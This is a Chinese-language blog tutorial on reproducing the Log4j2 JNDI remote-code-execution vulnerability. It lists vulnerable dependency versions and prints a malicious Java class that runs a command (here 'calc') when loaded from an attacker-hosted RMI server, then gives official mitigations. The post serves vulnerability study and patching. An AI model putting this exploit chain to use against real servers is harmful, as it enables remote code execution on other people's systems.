当前位置:网站首页>手把手教你复现Log4j2核弹级漏洞
手把手教你复现Log4j2核弹级漏洞
2022-07-17 05:06:00 【dafeng2773】
简介
近日, Apache Log4j 的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,建议第一时间启动应急响应进行修复。
漏洞概述
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
影响范围
Apache Log4j 2.x <= 2.15.0-rc1漏洞复现
1.环境搭建
创建一个新的maven项目,并导入Log4j的依赖包

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.0</version>
</dependency>
</dependencies>2.漏洞利用,使用Log4jTest.java测试

3.编译一恶意类Exploit.class
首先新建Exploit.java,然后编译为class文件。

class Exploit {
static {
System.err.println("Evil has been there");
try{
String cmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exception e){
e.printStackTrace();
}
}
}4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口

5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令

修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2建议同时采用如下临时措施进行漏洞防范:
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
部署使用第三方防火墙产品进行安全防护。
参考链接:
https://www.bilibili.com/video/BV1FL411E7g3
https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw
技术交流
源码放在评论区
欢迎转载、收藏、有所收获点赞支持一下!
边栏推荐
- C语言 带你 手撕 通讯录
- 【Es6】快速实现用户信息打印至页面中
- 小程序editor富文本编辑使用及rich-text解析富文本
- Class object automatic injection attribute operation tool
- 【Es6】forEach,for...in ,for...of专栏,让你通过项目案例快速分辨各种for语句的使用方式及区别(完整版)内部有详细注释
- 6S参数
- Use echars to realize water drop, ring, segmentation, stacking, organization chart, map outline and other charts
- Pat class B 1002: write this number
- Use of flask
- uniapp 使用uview实现折叠面板
猜你喜欢
随机推荐
Class object automatic injection attribute operation tool
STL容器——set集合的应用
Mysql database experiment training 6, data view (detailed)
实习项目2-主页配置-我的数据模块
硬核结构体,暴力解读
读论文《Learning to Measure Changes: Fully Convolutional Siamese Metric Networks for Scene Change Detec》
Use of flask
User management - restrictions
滚动轮加载的两种js方法及模态框拖拽归总
使用js实现安居客二级菜单及(注意事项和问题点演示)完整版
About the current response, the method getoutputstream() has been called
Feature extraction of machine learning (digitization and discretization of category features and digitization of text features)
Pat class B 1002: write this number
C语言 带你 手撕 通讯录
645. 错误的集合
【Es6】forEach,for... in ,for... Of column, which allows you to quickly distinguish the usage and differences of various for statements through project cases (full version). There are detailed notes ins
es6新增-let和const (var的缺点&let及const)
微信小程序状态栏
IText modify PDF Text
Actual cases of data analysis and data mining local house price prediction (716):




![[batch] batch delete intermediate folder - personal research script](/img/6d/699987559bc25998e635a403d9d52d.png)




